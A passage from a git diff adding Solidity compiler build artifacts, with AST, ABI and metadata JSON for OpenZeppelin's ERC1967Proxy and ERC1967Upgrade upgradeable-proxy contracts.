"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol","file":"./ERC1967Upgrade.sol","nameLocation":"-1:-1:-1","scope":46748,"sourceUnit":47066,"symbolAliases":[],"unitAlias":""},{"id":46747,"nodeType":"ContractDefinition","src":"567:723:25","nodes":[{"id":46734,"nodeType":"FunctionDefinition","src":"958:112:25","nodes":[],"body":{"id":46733,"nodeType":"Block","src":"1014:56:25","nodes":[],"statements":[{"expression":{"arguments":[{"id":46728,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46722,"src":"1042:6:25","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":46729,"name":"_data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46724,"src":"1050:5:25","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"66616c7365","id":46730,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1057:5:25","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":46727,"name":"_upgradeToAndCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46848,"src":"1024:17:25","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_bool_$returns$__$","typeString":"function (address,bytes memory,bool)"}},"id":46731,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1024:39:25","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46732,"nodeType":"ExpressionStatement","src":"1024:39:25"}]},"documentation":{"id":46720,"nodeType":"StructuredDocumentation","src":"620:333:25","text":" @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.\n If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded\n function call, and allows initializing the storage of the proxy like a Solidity constructor."},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":46725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46722,"mutability":"mutable","name":"_logic","nameLocation":"978:6:25","nodeType":"VariableDeclaration","scope":46734,"src":"970:14:25","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46721,"name":"address","nodeType":"ElementaryTypeName","src":"970:7:25","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":46724,"mutability":"mutable","name":"_data","nameLocation":"999:5:25","nodeType":"VariableDeclaration","scope":46734,"src":"986:18:25","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":46723,"name":"bytes","nodeType":"ElementaryTypeName","src":"986:5:25","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"969:36:25"},"returnParameters":{"id":46726,"nodeType":"ParameterList","parameters":[],"src":"1014:0:25"},"scope":46747,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":46746,"nodeType":"FunctionDefinition","src":"1148:140:25","nodes":[],"body":{"id":46745,"nodeType":"Block","src":"1229:59:25","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":46741,"name":"ERC1967Upgrade","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47065,"src":"1246:14:25","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_ERC1967Upgrade_$47065_$","typeString":"type(contract ERC1967Upgrade)"}},"id":46742,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1261:18:25","memberName":"_getImplementation","nodeType":"MemberAccess","referencedDeclaration":46779,"src":"1246:33:25","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":46743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1246:35:25","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":46740,"id":46744,"nodeType":"Return","src":"1239:42:25"}]},"baseFunctions":[47082],"documentation":{"id":46735,"nodeType":"StructuredDocumentation","src":"1076:67:25","text":" @dev Returns the current implementation address."},"implemented":true,"kind":"function","modifiers":[],"name":"_implementation","nameLocation":"1157:15:25","overrides":{"id":46737,"nodeType":"OverrideSpecifier","overrides":[],"src":"1197:8:25"},"parameters":{"id":46736,"nodeType":"ParameterList","parameters":[],"src":"1172:2:25"},"returnParameters":{"id":46740,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46739,"mutability":"mutable","name":"impl","nameLocation":"1223:4:25","nodeType":"VariableDeclaration","scope":46746,"src":"1215:12:25","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46738,"name":"address","nodeType":"ElementaryTypeName","src":"1215:7:25","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1214:14:25"},"scope":46747,"stateMutability":"view","virtual":true,"visibility":"internal"}],"abstract":false,"baseContracts":[{"baseName":{"id":46716,"name":"Proxy","nameLocations":["592:5:25"],"nodeType":"IdentifierPath","referencedDeclaration":47117,"src":"592:5:25"},"id":46717,"nodeType":"InheritanceSpecifier","src":"592:5:25"},{"baseName":{"id":46718,"name":"ERC1967Upgrade","nameLocations":["599:14:25"],"nodeType":"IdentifierPath","referencedDeclaration":47065,"src":"599:14:25"},"id":46719,"nodeType":"InheritanceSpecifier","src":"599:14:25"}],"canonicalName":"ERC1967Proxy","contractDependencies":[],"contractKind":"contract","documentation":{"id":46715,"nodeType":"StructuredDocumentation","src":"194:372:25","text":" @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an\n implementation address that can be changed. This address is stored in storage in the location specified by\n https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the\n implementation behind the proxy."},"fullyImplemented":true,"linearizedBaseContracts":[46747,47065,47117],"name":"ERC1967Proxy","nameLocation":"576:12:25","scope":46748,"usedErrors":[],"usedEvents":[46766,46912,46977]}],"license":"MIT"},"id":25} \ No newline at end of file diff --git a/contracts/out/ERC1967Upgrade.sol/ERC1967Upgrade.json b/contracts/out/ERC1967Upgrade.sol/ERC1967Upgrade.json new file mode 100644 index 000000000..83e7e8b04 --- /dev/null +++ b/contracts/out/ERC1967Upgrade.sol/ERC1967Upgrade.json @@ -0,0 +1 @@ +{"abi":[{"type":"event","name":"AdminChanged","inputs":[{"name":"previousAdmin","type":"address","indexed":false,"internalType":"address"},{"name":"newAdmin","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"BeaconUpgraded","inputs":[{"name":"beacon","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"Upgraded","inputs":[{"name":"implementation","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"previousAdmin\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"newAdmin\",\"type\":\"address\"}],\"name\":\"AdminChanged\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"beacon\",\"type\":\"address\"}],\"name\":\"BeaconUpgraded\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"}],\"name\":\"Upgraded\",\"type\":\"event\"}],\"devdoc\":{\"custom:oz-upgrades-unsafe-allow\":\"delegatecall\",\"details\":\"This abstract contract provides getters and event emitting update functions for https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. _Available since v4.1._\",\"events\":{\"AdminChanged(address,address)\":{\"details\":\"Emitted when the admin account has changed.\"},\"BeaconUpgraded(address)\":{\"details\":\"Emitted when the beacon is upgraded.\"},\"Upgraded(address)\":{\"details\":\"Emitted when the implementation is upgraded.\"}},\"kind\":\"dev\",\"methods\":{},\"stateVariables\":{\"_ADMIN_SLOT\":{\"details\":\"Storage slot with the admin of the contract. This is the keccak-256 hash of \\\"eip1967.proxy.admin\\\" subtracted by 1, and is validated in the constructor.\"},\"_BEACON_SLOT\":{\"details\":\"The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.\"},\"_IMPLEMENTATION_SLOT\":{\"details\":\"Storage slot with the address of the current implementation. This is the keccak-256 hash of \\\"eip1967.proxy.implementation\\\" subtracted by 1, and is validated in the constructor.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":\"ERC1967Upgrade\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousAdmin","type":"address","indexed":false},{"internalType":"address","name":"newAdmin","type":"address","indexed":false}],"type":"event","name":"AdminChanged","anonymous":false},{"inputs":[{"internalType":"address","name":"beacon","type":"address","indexed":true}],"type":"event","name":"BeaconUpgraded","anonymous":false},{"inputs":[{"internalType":"address","name":"implementation","type":"address","indexed":true}],"type":"event","name":"Upgraded","anonymous":false}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":"ERC1967Upgrade"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol","id":47066,"exportedSymbols":{"Address":[48259],"ERC1967Upgrade":[47065],"IBeacon":[47127],"IERC1822Proxiable":[46710],"StorageSlot":[48341]},"nodeType":"SourceUnit","src":"116:6398:26","nodes":[{"id":46749,"nodeType":"PragmaDirective","src":"116:23:26","nodes":[],"literals":["solidity","^","0.8",".2"]},{"id":46750,"nodeType":"ImportDirective","src":"141:31:26","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol","file":"../beacon/IBeacon.sol","nameLocation":"-1:-1:-1","scope":47066,"sourceUnit":47128,"symbolAliases":[],"unitAlias":""},{"id":46751,"nodeType":"ImportDirective","src":"173:45:26","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol","file":"../../interfaces/draft-IERC1822.sol","nameLocation":"-1:-1:-1","scope":47066,"sourceUnit":46711,"symbolAliases":[],"unitAlias":""},{"id":46752,"nodeType":"ImportDirective","src":"219:33:26","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Address.sol","file":"../../utils/Address.sol","nameLocation":"-1:-1:-1","scope":47066,"sourceUnit":48260,"symbolAliases":[],"unitAlias":""},{"id":46753,"nodeType":"ImportDirective","src":"253:37:26","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol","file":"../../utils/StorageSlot.sol","nameLocation":"-1:-1:-1","scope":47066,"sourceUnit":48342,"symbolAliases":[],"unitAlias":""},{"id":47065,"nodeType":"ContractDefinition","src":"529:5984:26","nodes":[{"id":46757,"nodeType":"VariableDeclaration","src":"647:108:26","nodes":[],"constant":true,"mutability":"constant","name":"_ROLLBACK_SLOT","nameLocation":"672:14:26","scope":47065,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46755,"name":"bytes32","nodeType":"ElementaryTypeName","src":"647:7:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"hexValue":"307834393130666466613136666564333236306564306537313437663763633664613131613630323038623562393430366431326136333536313466666439313433","id":46756,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"689:66:26","typeDescriptions":{"typeIdentifier":"t_rational_33048860383849004559742813297059419343339852917517107368639918720169455489347_by_1","typeString":"int_const 3304...(69 digits omitted)...9347"},"value":"0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143"},"visibility":"private"},{"id":46761,"nodeType":"VariableDeclaration","src":"981:115:26","nodes":[],"constant":true,"documentation":{"id":46758,"nodeType":"StructuredDocumentation","src":"762:214:26","text":" @dev Storage slot with the address of the current implementation.\n This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n validated in the constructor."},"mutability":"constant","name":"_IMPLEMENTATION_SLOT","nameLocation":"1007:20:26","scope":47065,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46759,"name":"bytes32","nodeType":"ElementaryTypeName","src":"981:7:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"hexValue":"307833363038393461313362613161333231303636376338323834393264623938646361336532303736636333373335613932306133636135303564333832626263","id":46760,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1030:66:26","typeDescriptions":{"typeIdentifier":"t_rational_24440054405305269366569402256811496959409073762505157381672968839269610695612_by_1","typeString":"int_const 2444...(69 digits omitted)...5612"},"value":"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"},"visibility":"internal"},{"id":46766,"nodeType":"EventDefinition","src":"1176:47:26","nodes":[],"anonymous":false,"documentation":{"id":46762,"nodeType":"StructuredDocumentation","src":"1103:68:26","text":" @dev Emitted when the implementation is upgraded."},"eventSelector":"bc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","name":"Upgraded","nameLocation":"1182:8:26","parameters":{"id":46765,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46764,"indexed":true,"mutability":"mutable","name":"implementation","nameLocation":"1207:14:26","nodeType":"VariableDeclaration","scope":46766,"src":"1191:30:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46763,"name":"address","nodeType":"ElementaryTypeName","src":"1191:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1190:32:26"}},{"id":46779,"nodeType":"FunctionDefinition","src":"1301:140:26","nodes":[],"body":{"id":46778,"nodeType":"Block","src":"1363:78:26","nodes":[],"statements":[{"expression":{"expression":{"arguments":[{"id":46774,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46761,"src":"1407:20:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":46772,"name":"StorageSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48341,"src":"1380:11:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_StorageSlot_$48341_$","typeString":"type(library StorageSlot)"}},"id":46773,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1392:14:26","memberName":"getAddressSlot","nodeType":"MemberAccess","referencedDeclaration":48307,"src":"1380:26:26","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$48287_storage_ptr_$","typeString":"function (bytes32) pure returns (struct StorageSlot.AddressSlot storage pointer)"}},"id":46775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1380:48:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot storage pointer"}},"id":46776,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1429:5:26","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":48286,"src":"1380:54:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":46771,"id":46777,"nodeType":"Return","src":"1373:61:26"}]},"documentation":{"id":46767,"nodeType":"StructuredDocumentation","src":"1229:67:26","text":" @dev Returns the current implementation address."},"implemented":true,"kind":"function","modifiers":[],"name":"_getImplementation","nameLocation":"1310:18:26","parameters":{"id":46768,"nodeType":"ParameterList","parameters":[],"src":"1328:2:26"},"returnParameters":{"id":46771,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46770,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":46779,"src":"1354:7:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46769,"name":"address","nodeType":"ElementaryTypeName","src":"1354:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1353:9:26"},"scope":47065,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":46803,"nodeType":"FunctionDefinition","src":"1532:259:26","nodes":[],"body":{"id":46802,"nodeType":"Block","src":"1595:196:26","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":46788,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46782,"src":"1632:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":46786,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48259,"src":"1613:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$48259_$","typeString":"type(library Address)"}},"id":46787,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1621:10:26","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":47982,"src":"1613:18:26","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":46789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1613:37:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","id":46790,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1652:47:26","typeDescriptions":{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""},"value":"ERC1967: new implementation is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""}],"id":46785,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1605:7:26","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":46791,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1605:95:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46792,"nodeType":"ExpressionStatement","src":"1605:95:26"},{"expression":{"id":46800,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"arguments":[{"id":46796,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46761,"src":"1737:20:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":46793,"name":"StorageSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48341,"src":"1710:11:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_StorageSlot_$48341_$","typeString":"type(library StorageSlot)"}},"id":46795,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1722:14:26","memberName":"getAddressSlot","nodeType":"MemberAccess","referencedDeclaration":48307,"src":"1710:26:26","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$48287_storage_ptr_$","typeString":"function (bytes32) pure returns (struct StorageSlot.AddressSlot storage pointer)"}},"id":46797,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1710:48:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot storage pointer"}},"id":46798,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"1759:5:26","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":48286,"src":"1710:54:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":46799,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46782,"src":"1767:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1710:74:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":46801,"nodeType":"ExpressionStatement","src":"1710:74:26"}]},"documentation":{"id":46780,"nodeType":"StructuredDocumentation","src":"1447:80:26","text":" @dev Stores a new address in the EIP1967 implementation slot."},"implemented":true,"kind":"function","modifiers":[],"name":"_setImplementation","nameLocation":"1541:18:26","parameters":{"id":46783,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46782,"mutability":"mutable","name":"newImplementation","nameLocation":"1568:17:26","nodeType":"VariableDeclaration","scope":46803,"src":"1560:25:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46781,"name":"address","nodeType":"ElementaryTypeName","src":"1560:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1559:27:26"},"returnParameters":{"id":46784,"nodeType":"ParameterList","parameters":[],"src":"1595:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":46818,"nodeType":"FunctionDefinition","src":"1897:152:26","nodes":[],"body":{"id":46817,"nodeType":"Block","src":"1953:96:26","nodes":[],"statements":[{"expression":{"arguments":[{"id":46810,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46806,"src":"1982:17: